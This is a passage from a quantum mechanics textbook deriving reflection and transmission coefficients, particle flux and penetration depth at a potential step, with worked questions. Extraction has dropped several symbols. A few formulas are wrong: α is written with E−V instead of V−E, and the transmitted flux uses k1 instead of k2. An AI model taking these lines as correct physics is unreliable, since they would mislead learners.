(E-V)\\psi_2(x)$(3)\n\nThe solution then has the form:\n\nψ2(x) = Cexp(ik2x) + Dexp(−ik2x)\n\nwith C and D arbitrary complex constants and $k_2 = \\sqrt{2m(E-V)/\\hbar\\os}$",
null,
"Figure 2 A schematic representation of a potential step. The distance over which the force acts is assumed to be negligible. The total energy of the particle is E.\n\nNotice that k2 is a real number because E > V. The first term on the right–hand side of Equation 2 represents a particle moving with momentum component $\\hbar k_1$ in the x–direction, i and the second term represents a reflected particle moving with momentum component $-\\hbar k_1$. The first term in Equation 3 represents a particle transmitted across the step moving with momentum component $\\hbar k_2$, and the second term represents a particle moving in the negative x–direction. Clearly, we must set coefficient D = 0, since this physical problem involves a particle approaching the barrier from the left, not from the right and here it cannot return from infinity.\n\nIn summary, the solutions to the Schrödinger equation in the two regions are:\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(4a)\n\nin region (II)ψ2 (x) = Cexp(ik2x)(4b)\n\nThe important question of normalization of the wavefunctions must be postponed until we have discussed fully the constraints imposed on the constants A, B and C by the conditions at the boundary between the two regions.\n\n## 2.3 Relations imposed by the boundary conditions\n\nGeneral solutions of differential equations always contain arbitrary constants, and we can determine these from the conditions assumed to apply at certain positions or times. For example, the general solution of the wave equation for transverse waves on a string stretched between two fixed points has two arbitrary constants. i We can determine these constants from the initial configuration of the string including the requirement that its displacement is zero at the ends.\n\nWe can apply two boundary conditions, at x = 0, to the solutions of the Schrödinger equation in this application. We will state them and then make some justification.\n\nboundary condition (1)ψ1(x) = ψ2(x) at x = 0\n\nboundary condition (2)$\\dfrac{d\\psi_1(x)}{dx} = \\dfrac{d\\psi_2(x)}{dx}$ at x = 0\n\nThe first condition ensures that the wavefunction has a single value at x = 0. The Born probability hypothesis says that the probability density is given by |ψ(x)|2, so that the solution in region (I) must match the solution in region (II) at the boundary between the regions.\n\nThe second condition boundary condition is clear when we examine the Schrödinger equation itself,\n\n$\\dfrac{-\\hbar^2}{2m\\os}\\dfrac{d^2\\psi(x)}{dx^2} + U(x)\\psi(x) = E\\psi(x)$(Eqn 1)\n\nIf both E and U(x) are finite quantities everywhere, then the second derivative d2ψ1(x)/dx2 must also be finite. This means that the first derivative of the wavefunction 1(x)/dx cannot suddenly change at any point, including the boundary at x = 0. Therefore the slope of the wavefunction in region (I) at x = 0 is equal to the slope of the wavefunction in region (II) also evaluated at x = 0.",
null,
"Figure 3 Boundary conditions at x = 0. Only (c) is allowed. (a) ψ1ψ2, (b) ψ1 = ψ2 but 1/dx2/dx, (c) ψ1 = ψ2 and 1/dx = 2/dx.\n\nThe possibilities are illustrated in Figure 3:\n\n(a) shows a discontinuity in ψ at x = 0,\n\n(b) has ψ continuous but /dx discontinuous at x = 0,\n\nand(c) both ψ and /dx are continuous.\n\nOnly in case (c) can we say that ψ varies smoothly across the boundary, and this is what we require. i\n\nApplying the boundary conditions gives us two equations linking A, B and C: Using Equations 4,\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 4a)\n\nin region (II)ψ2 (x) = Cexp(ik2x)(Eqn 4b)\n\nboundary condition (1) gives:\n\nψ1(0) = ψ2(0)\n\nso thatAexp0 + Bexp0 = Cexp0 i.e. A + B = C(5)\n\nApplying boundary condition (2):\n\nA(ik1)exp0 + B(−ik1)exp0 = C(ik2)exp0 i\n\nso thatAk1Bk1 = Ck2(6)\n\nEquations 5 and 6 can be used to determine the two ratios B/A and C/A:\n\n$\\dfrac BA = \\dfrac{k_1-k_2}{k_1+k_2}$(7a)\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+k_2}$(7b)\n\nQuestion T2\n\nConsider a string lying along the x–axis under tension F. The density per unit length of the string is ρ1 for x < 0 and ρ2 for x ≥ 0. Considering transverse waves on the string, describe how this problem in classical mechanics might be similar to the quantum–mechanical problem of particles incident on a potential step. (The speed of transverse waves is $\\sqrt{F/\\rho\\os}$.)\n\nThe transverse waves on the string behave in a mathematically similar way to the quantum wavefunction. If the density of the string is ρ1 for x < 0 and ρ2 for x ≥ 0, then transverse waves from the left with frequency f will be partially reflected at the boundary. The incident, reflected and transmitted wave amplitudes are related by Equations 7:\n\n$\\dfrac BA = \\dfrac{k_1-k_2}{k_1+k_2}$(Eqn 7a)\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+k_2}$(Eqn 7b)\n\nwith $k_{1,2} = 2\\pi f\\sqrt{\\left.\\rho_{1,2}\\middle/F\\right.\\os}$. Remember that the physical interpretation of a wavefunction is quite different from that of transverse waves on a string.\n\n## 2.4 The wavefunctions in each region and the physical interpretation; normalization\n\nIn all our discussions of quantum mechanics so far, we have assumed that the wavefunction ψ(x) is normalized to unity and represents a single particle, so |ψ(x)|2x gives the probability of finding the particle in the range x to x + ∆x. Now it is convenient to modify the prescription and say that the wavefunction can represent more than one particle. In particular, the wavefunction ψ(x) = Aexp(ikx) can represent a set of particles, moving in the x–direction, all with the same momentum $\\hbar k$.\n\nThe position of any one particle is not specified (to do so violates the Heisenberg uncertainty principle), but we say the average number of particles per unit length is given by |ψ(x)|2. In this context, ‘average’ means the average of a large number of observations made on particles with this wavefunction. i\n\n✦ The wavefunction ψ(x) = Aexp(ikx) represents a stream of particles moving in the x–direction. Show that, on average, there are |A|2 particles per unit length.\n\n✧ According to our new prescription, the average number N per unit length is given by:\n\nN = |ψ(x)|2 = ψ*(x)ψ(x) = A*exp(−ikx)Aexp(ikx) = A*Aexp0 = |A|2.\n\nNow we must examine the wavefunctions,\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 4a)\n\nin region (II)ψ2 (x) = Cexp(ik2x)(Eqn 4b)\n\nin the potential step problem in the light of the new prescription.\n\nIn region (I), we have the wavefunction:\n\nψ1(x) = Aexp(ik1x) + Bexp(−ik1x) with $k_1 = \\sqrt{2mE\\os}/\\hbar$\n\nThe first term of this single wavefunction now represents a stream of particles moving in the positive x–direction towards the step; these are the incident particles. The second term represents a stream of particles moving in the negative x–direction away from the step, the reflected particles. The average number of incident particles per unit length is |A|2, and the average number of reflected particles is |B|2. Notice that the single wavefunction can represent both the incident and reflected particles.\n\nIn region (II), the wavefunction is:\n\nψ2(x) = Cexp(ik2x) with $k_2 = \\sqrt{2m(E-V)\\os}/\\hbar$\n\nThis simply represents a stream of particles moving in the positive x–direction away from the step, the transmitted particles. The average number of transmitted particles per unit length is |C|2.\n\nA further simplification of the equations is made, with no loss of generality, if the wavefunctions are normalized_wavefunctionnormalized in a special way. If the coefficient A is set equal to one, then the average number of incident particles per unit length is equal to one.\n\nQuestion T3\n\nElectrons with kinetic energy 5 eV are moving in the positive x–direction in a region of constant potential. There are on average 5 × 106 electrons per millimetre. Find a suitable wavefunction i to describe them, and find A and k.\n\nA suitable wavefunction is ψ(x) = Aexp(ikx), and we have to find A and k. The particle density is given by |A|2 and we can choose A to be real: A2 = 5 × 106 × 103 m−1 = 5 × 109 m−2. Hence A = 7.1 ×104 m−1/2.\n\nRemember that 1 eV is 1.60 × 10−19 J.\n\nThe angular wavenumber k is calculated from the kinetic energy E:\n\n$k = \\dfrac{\\sqrt{2mE\\os}}{\\hbar} = \\rm \\dfrac{\\sqrt{2\\times9.11\\times10^{-31}\\times5\\times1.60\\times10^{-19}}}{1.05\\times10^{-34}\\,m^{-1}} = 1.15\\times10^{10}\\,m^{-1}$\n\nYou will have occasion to use this result in later questions.\n\n## 2.5 Defining particle flux in the classical and quantum models\n\nIn classical mechanics, it is straightforward to define the concept of particle flux. We will restrict the discussion to motion in one dimension, but the extension to three dimensions is not difficult. If there are N particles per unit length and each one has speed u in the positive x–direction, then all the particles in a length ut will pass a fixed point in time interval ∆t. The number passing a fixed point per unit time is the particle flux F:\n\n$F = \\dfrac{Nu\\Delta t}{\\Delta t} = Nu$\n\nIn quantum mechanics, the definition of particle flux is equally simple, provided we are dealing with wavefunctions of particles with definite momentum (i.e. momentum eigenfunctions). Consider a stream of particles represented by the wavefunction ψ(x) = Aexp(ikx). The average number of particles per unit length is the constant |A|2, and their speed u is obtained from the momentum magnitude:\n\n$p = \\hbar k$ and u = p/m\n\nso that:$u = \\hbar k/m$\n\nSince k > 0, so is u.\n\nThe flux is then given by:\n\n$F = \\vert\\,A\\,\\rvert^2\\dfrac{\\hbar k}{m}$(8)\n\nA word of warning is necessary here! Equation 8 can only be used when the wavefunction is a momentum eigenfunction; the momentum is then the same for all the particles, and the average number of particles per unit length is a constant, independent of position.\n\nQuestion T4\n\nWhat is the flux of electrons in Question T3?\n\n[Electrons with kinetic energy 5 eV are moving in the positive x–direction in a region of constant potential. There are on average 5 × 106 electrons per millimetre.]\n\nWhat is the corresponding current in amps?\n\n[Hint: The current is the total charge in coulombs passing a point per second.]\n\nThe flux F is given by Equation 8:\n\n$F = \\dfrac{A^2\\hbar k}{m} = \\rm \\dfrac{5\\times10^9\\times1.15\\times10^{10}\\times1.05\\times10^{-34}}{9.11\\times10^{-31}}\\,s^{-1} = 6.63\\times10^{15}\\,s^{-1}$\n\nThe current I is then given by the flux (particles per second) multiplied by the charge on each electron:\n\nI = 6.63 × 1015 × 1.6 × 10−19 A = 1.1 × 10−3 A.\n\nThis is just 1.1 mA.\n\n## 2.6 Reflection and transmission in the quantum model",
null,
"Figure 2 A schematic representation of a potential step. The distance over which the force acts is assumed to be negligible. The total energy of the particle is E.\n\nWe are now in a position to complete the quantum description of particle reflection and transmission at potential steps. Two coefficients are defined which characterize the behaviour of particles when they encounter a potential step such as that illustrated in Figure 2.\n\nThe reflection coefficient is defined as follows:\n\n$R = \\dfrac{\\text{flux of reflected particles}}{\\text{flux of incident particles}}$\n\nThe wavefunction in region (I) is:\n\nψ1(x) = Aexp(ik1x) + Bexp(−ik1x)\n\nThe first term represents the particles incident on the step, and, using Equation 8,\n\n$F = \\vert\\,A\\,\\rvert^2\\dfrac{\\hbar k}{m}$(Eqn 8)\n\nthe incident flux is $\\vert\\,A\\,\\rvert^2\\hbar k_1/m$\n\nThe second term\n\nψ1(x) = Aexp(ik1x) + Bexp(−ik1x)\n\nrepresents the reflected particles which have average density |B|2 per unit length and the reflected flux is $\\vert\\,B\\,\\rvert^2\\hbar k_1/m$. The reflection coefficient is therefore:\n\n$R = \\dfrac{\\vert\\,B\\,\\rvert^2\\hbar k_1/m}{\\vert\\,A\\,\\rvert^2\\hbar k_1/m} = \\dfrac{\\vert\\,B\\,\\rvert^2}{\\vert\\,A\\,\\rvert^2}$\n\nUsing Equation 7a,\n\n$\\dfrac BA = \\dfrac{k_1-k_2}{k_1+k_2}$(Eqn 7)\n\nwe get the result:\n\nThe reflection coefficient at a potential step with E > V\n\n$R = \\left(\\dfrac{k_1-k_2}{k_1+k_2}\\right)^2$(9)\n\nThe transmission coefficient is defined as:\n\n$T = \\dfrac{\\text{flux of transmitted particles}}{\\text{flux of incident particles}}$\n\nThe wavefunction in region (II) is ψ2(x) = Cexp(ik2x), and this represents the particles transmitted across the step. The transmitted flux is given by $\\vert\\,C\\,\\rvert^2\\hbar k_1/m$ and hence the transmission coefficient is:\n\n$T = \\dfrac{\\vert\\,C\\,\\rvert^2\\hbar k_1/m}{\\vert\\,A\\,\\rvert^2\\hbar k_1/m} = \\dfrac{\\vert\\,C\\,\\rvert^2}{\\vert\\,A\\,\\rvert^2}$\n\nUsing Equations 7b,\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+k_2}$(7b)\n\nwe get the result:\n\nThe transmission coefficient at a potential step with E > V\n\n$T = \\dfrac{4k_1k_2}{(k_1+k_2)^2}$(10)\n\nIn order to check that our equations for R and T are self-consistent, we must show that particles are not ‘lost’ at the step. The number of particles crossing the step per second (the transmitted flux) added to the number reflected per second (the reflected flux) must be equal to the incident flux. From the definitions of R and T, this means that R + T = 1. This is indeed the case!\n\nQuestion T5\n\nUse Equation 9 and Equation 10 to show that R + T = 1.\n\nEquations 9 and 10 are:\n\n$R = \\left(\\dfrac{k_1-k_2}{k_1+k_2}\\right)^2$(Eqn 9)\n\n$T = \\dfrac{4k_1k_2}{(k_1+k_2)^2}$(Eqn 10)\n\n$R + T = \\dfrac{k_1^2-2k_1k_2+k_2^2+4k_1k2}{(k_1+k_2)^2} = \\dfrac{k_1^2+2k_1k_2+k_2^2}{k_1^2+2k_1k_2+k_2^2} = 1$\n\nas required.\n\nRemember that R and T are both ratios of fluxes; this means that the formulae for R and T are unchanged whatever the value of A. It is also legitimate to regard R and T as reflection and transmission probabilities if you are dealing with the behaviour of a single particle at the step.\n\n$R = \\left(\\dfrac{k_1-k_2}{k_1+k_2}\\right)^2$(Eqn 9)\n\n$T = \\dfrac{4k_1k_2}{(k_1+k_2)^2}$(Eqn 10)\n\nNotice that the reflection coefficient approaches the limit R = 1 and the transmission coefficient goes to zero, when k2 → 0. This happens when V is equal to the incident particle energy E.\n\nThe function P(x) = |ψ(x)|2 represents the probability density when ψ is the wavefunction for a single particle. However, when ψ represents a set of particles, the function P(x) = |ψ(x)|2 gives the average particle density at the position x. P(x) is then the particle density function and it is interesting to plot a graph of P(x) across the potential step.",
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"Figure 4 The particle density function P(x) in the region of a potential step (E > V). In region (I), P(x) shows a pattern of alternating maxima and minima caused by the interference of the incident and reflected waves.\n\nThis is shown in Figure 4 for the case when A, B and C are real.\n\nIn region (I), we have to use the full expression for ψ1(x) (Equation 4):\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 4a)\n\nin region (II)ψ2 (x) = Cexp(ik2x)(Eqn 4b)\n\nP1(x) = ψ1*(x)ψ1(x) = A2 + B2 + 2ABcos(2k1x)(11)\n\nIn region (II):\n\nP2(x) = ψ2*(x)ψ2(x) = C2(12)\n\nP1(x) and P2(x) join smoothly at x = 0 because of the boundary conditions,\n\nA + B = C(Eqn 5)\n\nAk1Bk1 = Ck2(Eqn 6)\n\nIn region (I), P(x) has a cosine component due to the interference between the incident and reflected waves.\n\nThis example of quantum–mechanical interference with material particles is analogous to the interference of light beams reflected from boundaries between materials with different optical properties. The interference minima are not at zero because the amplitude of the reflected wave is less than the amplitude of the incident wave.\n\nQuestion T6\n\nStarting from Equations 4,\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 4a)\n\nin region (II)ψ2 (x) = Cexp(ik2x)(Eqn 4b)\n\nverify Equations 11 and 12,\n\nin region (I)P1(x) = ψ1*(x)ψ1(x) = A2 + B2 + 2ABcos(2k1x)(Eqn 11)\n\nin region (II)P2(x) = ψ2*(x)ψ2(x) = C2(Eqn 12)\n\nShow that P1(0) = P2(0). (Remember Equations 11 and 12 assume A, B and C are real.)\n\nIn region (I), the complete wavefunction is\n\nψ2(x) = Aexp(ik2x) + Bexp(−ik2x)\n\nMultiply by the complex conjugate to get the modulus squared. In this case, both A and B are real.\n\nP1(x) = ψ1*(x)ψ1(x) = [Aexp(−ik1x) + Bexp(ik1x)] × [Aexp(ik1x) + Bexp(−ik1x)]\nP1(x) = A2 + B2 + AB[exp(−2ikx) + exp(+2ikx)]\nP1(x) = A2 + B2 + 2ABcos(2kx)\n\nIn region (II), the wavefunction is ψ2(x) = Cexp(ik2x) and the density is:\n\nP2(x) = ψ2*(x)ψ2(x) = Cexp(−ik2x)Cexp(ik2x) = C2\n\nAt the boundary, x = 0:\n\nP1(0) = A2 + B2 + 2ABcos0 = (A + B)2\n\nbut from the boundary conditions, A + B = C.\n\nHenceP1(0) = C2.\n\nP2(x) = C2 everywhere, so that P1(0) = P2(0).\n\nQuestion T7\n\nFigure 4 shows clearly that the probability per unit length of finding a particle in region (II) is greater, on average, than the probability in region (I). How can that be when a fraction of the incident particles is reflected?\n\nRemember that the speed of the particles decreases as they pass into region (II), since k1 > k2. The slower the particles, the greater the density for a given flux, i.e. the particles spend a longer time in any given interval. Even though the sum of the incident and reflected fluxes is greater than the transmitted flux, the average particle density is greater in region (II).\n\n# 3 Reflection and transmission at a potential step when E < V\n\n## 3.1 Classical description of the problem",
null,
"Figure 5 The function U(x) at a potential step. The height of the step V is greater than the energy E of each incident particle. According to classical mechanics, the particles reach the point P and are then reflected back.\n\nA particle travelling in the positive x–direction encounters a step where the potential energy U(x) increases by an amount V greater than the particle energy. The physical situation is modelled by the illustration in Figure 5 and the total energy of a particle is represented by the horizontal dashed line. Applying the law of energy conservation to solve for the speed of the particle, we get:\n\n$\\frac12m\\upsilon^2 = E - U(x)$\n\ni.e.$\\upsilon = \\sqrt{\\dfrac{2(E-U(x))}{m}}$\n\nP marks the point where the total energy and the potential energy are equal, E = U(x) and υ = 0. There is no real–number solution to the speed equation anywhere to the right of P. According to classical mechanics, each particle will reach the point P and then be reflected back. The classical reflection coefficient is one.\n\n## 3.2 The Schrödinger equation and the solutions in each region",
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"Figure 6 A schematic representation of a potential step with E < V. Particles are incident from the left.\n\nFor the quantum mechanical problem we again make the assumption that the distance over which the potential is increasing is small compared with the de Broglie wavelength of the incident particles. The situation is illustrated schematically in Figure 6 with the region x < 0 designated (I) and x ≥ 0 designated (II). The solution of the Schrödinger equation follows exactly as in Subsection 2.2, and we can write the solutions by referring to Equations 4:\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 4a)\n\nin region (II)ψ2 (x) = Cexp(ik2x)(Eqn 4b)\n\nThe angular wavenumbers k1and k2 are given by:\n\n$k_1 = \\dfrac{\\sqrt{2mE\\os}}{\\hbar}\\quad\\text{and}\\quad k_2 = \\dfrac{\\sqrt{2m(E-V)\\os}}{\\hbar}$\n\nIn this case it is clear that k2 is a purely imaginary number since E < V, but we cannot abandon this solution.\n\nRemember that in quantum mechanics, the solutions make sense if the predictions for the values of physical observable quantities are real. We will continue the analysis and examine the form of the solution in region (II). If we replace k2 by , then α is a real number and we find:\n\nψ2(x) = Cexp[i()x] = Cexp(−αx) since i2 = −1\n\nThe real constant α may be written in terms of E and V as follows:\n\nα = k2/i = −ik2\n\nHowever$k_2 = \\dfrac{\\sqrt{2m(E-V)\\os}}{\\hbar} = \\dfrac{i\\sqrt{2m(V-E)\\os}}{\\hbar}$\n\nso that$\\alpha = \\dfrac{\\sqrt{2m(E-V)\\os}}{\\hbar}$\n\nIn fact, there is a second part of the general solution in region (II) corresponding to a rising exponential rather than a falling exponential: ψ2(x) = Cexp(−αx) + Dexp(+αx). i The second term is ruled out as unphysical here because it predicts that the probability of observing the particles increases without limit as x → ∞.\n\nIn summary, we have:\n\nin region (I)ψ1(x) = Aexp(ik1x) + Bexp(−ik1x)(13a)\n\nin region (II)ψ2(x) = Cexp(−αx)(13b) i\n\nwith$k_1 = \\dfrac{\\sqrt{2mE\\os}}{\\hbar}\\quad\\text{and}\\quad\\alpha = \\dfrac{\\sqrt{2m(E-V)\\os}}{\\hbar}$\n\n## 3.3 Relationships imposed by the boundary conditions\n\nThe general requirements discussed in Subsection 2.3 that the wavefunction and its first derivative must both be continuous everywhere apply in this example. The relations between the arbitrary constants A, B and C are exactly the same as in Equations 7a and 7b:\n\n$\\dfrac BA = \\dfrac{k_1-k_2}{k_1+k_2}$(Eqn 7a)\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+k_2}$(Eqn 7b)\n\nHowever now k2 is a purely imaginary number, and we have equated it to so:\n\n$\\dfrac BA = \\dfrac{k_1-i\\alpha}{k_1+i\\alpha}$\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+i\\alpha}$\n\n✦ Show that the complex number B/A can be written in the form: B/A = exp(−2) where tanϕ = α/k1. Show also that |B| = |A|.\n\n✧ We will need this important result later because it shows that the moduli of B and A are the same. Starting with the denominator\n\n$k_1 + i\\alpha = \\sqrt{\\smash[b]{k_1^2 + \\alpha^2}}(\\cos\\phi + i\\sin\\phi) = \\sqrt{\\smash[b]{k_1^2+\\alpha^2}}\\exp(i\\phi)$\n\nwhere tanϕ = α/k1.\n\nSimilarly, the numerator\n\n$k_1 - i\\alpha = \\sqrt{\\smash[b]{k_1^2+\\alpha^2}}\\exp(-i\\phi)$\n\nHence\n\n$\\dfrac BA = \\dfrac{k_1-i\\alpha}{k_1+i\\alpha} = \\dfrac{\\exp(-i\\phi)}{\\exp(i\\phi)} = \\exp(-2i\\phi)$\n\nFrom this, we see that |B/A| = |B|/|A| = 1\n\nand so |B| = |A|.\n\nQuestion T8\n\nShow that the complex number C/A can be written in the form: C/A = 2cosϕexp(−) and |C| = 2|A|cosϕ.\n\nStarting with the equation $\\dfrac CA = \\dfrac{2k_1}{k_1 + i\\alpha}$, we write the denominator in polar form:\n\n$k_1 + i\\alpha = \\sqrt{\\smash[b]{k_1^2+\\alpha^2}}(\\cos\\phi + i\\sin\\phi) = \\sqrt{\\smash[b]{k_1^2+\\alpha^2}}\\exp(i\\phi)$\n\nHence:$\\dfrac CA = \\dfrac{2k_1}{\\sqrt{\\smash[b]{k_1^2 + \\alpha^2}}\\exp(1\\phi)} = \\dfrac{2k_1\\exp(-i\\phi}{\\sqrt{\\smash[b]{k_1^2 + \\alpha^2}}}$\n\nbut$\\tan\\phi = \\dfrac{\\alpha}{k_1}$, so $\\cos\\phi = \\dfrac{k_1}{\\sqrt{\\smash[b]{k_1^2 + \\alpha^2}}}$\n\nHenceC/A = 2cosϕexp(−)\n\nThe modulus of C/A is 2cosϕ, so that |C| = 2|A|cosϕ.\n\nIn summary, we have the following relations for the ratios of the constants:\n\n$\\dfrac BA = \\dfrac{k_1-i\\alpha}{k_1+i\\alpha} = \\exp(-2i\\phi)$so that $\\dfrac{\\lvert\\,B\\,\\rvert}{\\lvert\\,A\\,\\rvert} = 1$(14a)\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+i\\alpha} = 2\\cos\\phi\\exp(-\\phi)$so that $\\dfrac{\\lvert\\,C\\,\\rvert}{\\lvert\\,A\\,\\rvert} = 2\\cos\\phi$(14b)\n\nwith$\\phi = \\arctan\\left(\\dfrac{\\alpha}{k_1}\\right)$\n\n## 3.4 The wavefunctions in each region and the physical interpretation\n\nThe wavefunctions for particles in regions (I) and (II) are given by Equations 13,\n\nin region (I)ψ1(x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 13a)\n\nin region (II)ψ2(x) = Cexp(−αx)(Eqn 13b)\n\nand the ratios of the constants B/A and C/A by Equations 14.\n\nThe incident beam Aexp(ik1x) has an average density of |A|2 particles per unit length and the reflected beam Bexp(−ik1x) has an average density |B|2. Our analysis showed that |B|2 = |A|2 (Equation 14a), and the densities of the reflected and incident particles are equal.\n\nThe transmitted particles are represented by the wavefunction in region (II):\n\nψ2(x) = Cexp(−αx)\n\nThe density of transmitted particles is given by\n\n|ψ2(x)|2 = |C|2exp(−2αx)\n\nThis is a most important result: quantum mechanics makes the clear prediction that particles can be observed inside region (II). The particle density decreases exponentially with distance from the step. The scale of the penetration is set by the constant $\\alpha = \\sqrt{2m(V-E)\\os}/\\hbar$. In interesting cases, this is usually of the same order of magnitude as the angular wavenumber $k_1 = \\sqrt{2mE\\os}/\\hbar$ in region (I).\n\nIt is helpful to visualize the situation by plotting a graph of the density function P(x) as we did at the end of Subsection 2.6.\n\nWe can simplify the algebra by setting A = 1 so that there is one incident particle per unit length. In region (I), we have with the help of Equations 14:\n\n$\\dfrac BA = \\dfrac{k_1-i\\alpha}{k_1+i\\alpha} = \\exp(-2i\\phi)$so that $\\dfrac{\\lvert\\,B\\,\\rvert}{\\lvert\\,A\\,\\rvert} = 1$(Eqn 14a)\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+i\\alpha} = 2\\cos\\phi\\exp(-\\phi)$so that $\\dfrac{\\lvert\\,C\\,\\rvert}{\\lvert\\,A\\,\\rvert} = 2\\cos\\phi$(Eqn 14b)\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 4a)\n\nand, since B = exp(−2):\n\nψ1 (x) = exp(ik1x) + exp[−i(2ϕ + k1x)]\n\nNowP1(x) = ψ1*(x)ψ1(x)\n\nso thatP1(x) = 2 + exp[i(2ϕ + 2k1x)] + exp[−i(2ϕ + 2k1x)]\nP1(x) = 2 + 2cos(2k1x + 2ϕ)(15)\n\nIn region (II), we have with the help of Question T8:\n\nψ2(x) = Cexp(−αx)\n\nP2(x) = ψ2*(x)ψ2(x) = |C|2exp(−2αx)\n\nand since C = 2cosϕexp(−)\n\nP2(x) = 4cos2ϕexp(−2αx)(16)\n\nThe density function is drawn in Figure 7 using Equations 15 and 16. You can see a perfect interference pattern in region (I) with the regular array of maxima and minima. The amplitudes of the incident and reflected waves are equal so the maximum value of P1(x) is 4 and the minimum 0. At the boundary, P1(0) = P2(0) = 4cos2ϕ, and the density function passes smoothly to the decreasing exponential in region (II).",
null,
"Figure 7 The density function P(x) in the region of a potential step at x = 0. The incident beam is from the left. The energy E of each particle is less than the height of the step V. In region (I), there is a pattern of maxima and minima due to the interference between incident and reflected waves of equal amplitude. In region (II), the density decreases exponentially.\n\nQuestion T9\n\nWhy does the density function have a maximum of four particles per unit length in region (I) when the incident particle density is one per unit length?\n\nIn region (I), the incident and reflected waves interfere to produce an alternating pattern of maxima and minima. In an optical analogy, coherent beams would produce maxima and minima in light intensity, or maxima and minima in photon density. The incident and reflected waves have equal amplitudes, |A| = |B|, so that complete destructive interference takes place at the minima. The incident and reflected beams each have an average density of one particle per unit length so that the total density in region (I) must average two particles per unit length. The maxima must then be four if the minima are zero.\n\nWe can characterize the penetration of particles into region (II) by a distance D = 1/(2α). At this distance, the density, given by Equation 16 falls to 1/e of its value at x = 0:\n\nP2(D) = P2(0)exp(−2αD) = P2(0)exp(−1) = P2(0)/e\n\nThe penetration depth is given in terms of E and V using Equation 13b,\n\nin region (II)ψ2(x) = Cexp(−αx)(Eqn 13b)\n\nThe penetration depth for particles incident on a potential step with E < V:\n\n$D = \\dfrac{1}{2\\alpha} = \\dfrac{\\hbar}{2\\sqrt{2m(V-E)\\os}}$(17)\n\nQuestion T10\n\nA beam of electrons of energy 5 eV approaches a potential step of height 10 eV. Assume there is on average one incident particle per unit length. Calculate the following: (a) the average particle density at x = 0; (b) the point nearest the step where P1(x) is minimum; (c) the penetration depth D.\n\n(a) Use Equation 15,\n\nP1(x) = 2 + 2cos(2k1x + 2ϕ)(Eqn 15)\n\nto find P1(0):\n\nP1(0) = 2 + 2cos(2ϕ) with ϕ = arctan(α/k1)\n\nWe are given that E = 5 eV and V = 10 eV.\n\nThese numbers conveniently make α = k1, so using Equation 13b,\n\nin region (II)ψ2(x) = Cexp(−αx)(Equation 13b)\n\nϕ = π/4. Hence P1(0) = 2 + 2cos(π/2) = 2.\n\n(b) The minimum value of P1(x) occurs when the cosine term in Equation 15 has its minimum value of −1.\n\nIf cos(2k1x + 2ϕ) = −1, then 2k1x + 2ϕ = ±π, but ϕ = π/4, so x = −3π/4k1 (this is the minimum closest to the step).\n\nRefer to Question T3 for the value of k1 at 5 eV:\n\n$x = \\rm \\dfrac{-3\\pi}{4\\times1.15\\times10^{10}\\,m^{-1}} = -2.04\\times10^{-10}\\,m$\n\n(c) The penetration depth is the distance into the step at which the particle density reduces to 1/e of its value at x = 0. Equation 17,\n\n$D = \\dfrac{1}{2\\alpha} = \\dfrac{\\hbar}{2\\sqrt{2m(V-E)\\os}}$(Eqn 17)\n\ngives:\n\n$D = \\dfrac{1}{2\\alpha}\\quad\\text{where}\\quad\\alpha = \\dfrac{\\sqrt{2m(V-E)\\os}}{\\hbar}$\n\nIn this case, α = k1 = 1.15 × 1010 m−1, so that:\n\n$D = \\rm \\dfrac{1}{2\\times1.15\\times10^{10}\\,m^{-1}} = 0.43\\times10^{-10}\\,m$\n\nThis penetration depth is quite typical for problems at the atomic physics scale. It corresponds roughly to the size of a single atom and to the de Broglie wavelength of an electron with energy around 1 eV.\n\nIn this subsection, we have obtained two remarkable predictions of quantum mechanics. The predictions seem to defy common sense but they have been verified experimentally in many situations.\n\n• Particles can penetrate into classically forbidden regions where V > E.\n• Quantum-mechanical interference arises from a potential step and produces a regular set of points where the particle density is zero.\n\n## 3.5 Reflection and transmission in the quantum model\n\nThe reflection coefficient R was defined in Subsection 2.6:\n\n$R = \\dfrac{\\text{flux of reflected particles}}{\\text{flux of incident particles}}$\n\nThe wavefunction in region (I) is:\n\nψ1(x) = Aexp(ik1x) + Bexp(−ik1x)\n\nEquation 8 gives the incident flux $\\vert\\,A\\,\\rvert^2\\hbar k/m$ and the reflected flux $\\vert\\,B\\,\\rvert^2\\hbar k/m$. We have already demonstrated that when E < V, |B|2 = |A|2 (Equations 14), so that the reflected flux is equal to the incident flux and the reflection coefficient is one.\n\nThe reflection coefficient at a potential step with E < V:\n\nR = 1(18)\n\nThis result agrees with the prediction of classical mechanics, but what can we say about the transmission coefficient? Particles can be observed across the step in the classically ‘forbidden’ region, but is there any flux? If particles are not to be created or destroyed at the boundary, then R + T = 1, and if R = 1, then T = 0. Even though particles are observed in region (II), there is no flux. Remember that the wavefunction ψ2(x) = Cexp(−αx) is not an eigenfunction of momentum, and so does not represent a travelling wave with an associated momentum and an associated flux. Equation 8,\n\n$F = \\vert\\,A\\,\\rvert^2\\dfrac{\\hbar k}{m}$(Eqn 8)\n\ncannot be used to calculate flux since k is not defined.\n\nThe transmission coefficient at a potential step with E < V:\n\nT = 0(19)\n\n## 3.6 Summary of Sections 2 and 3\n\nAt a step where the potential energy increases by an amount V, classical mechanics makes definite predictions for the transmission and reflection of particles. If the total energy E of the incident particles is greater than V, then the particles are always transmitted across the step and are never reflected. If E is less than V, then the particles are always reflected and never transmitted.\n\nWhen the distance over which the potential is changing is of the same order as, or smaller than, the de Broglie wavelength of the incident particles, then it is inappropriate to use classical mechanics. A quantum–mechanical treatment is required. Quantum mechanics makes some unexpected predictions which reveal the wave nature of particles in an interesting way. In the case E > V, there is always a finite probability that a particle will be reflected and the theory allows a 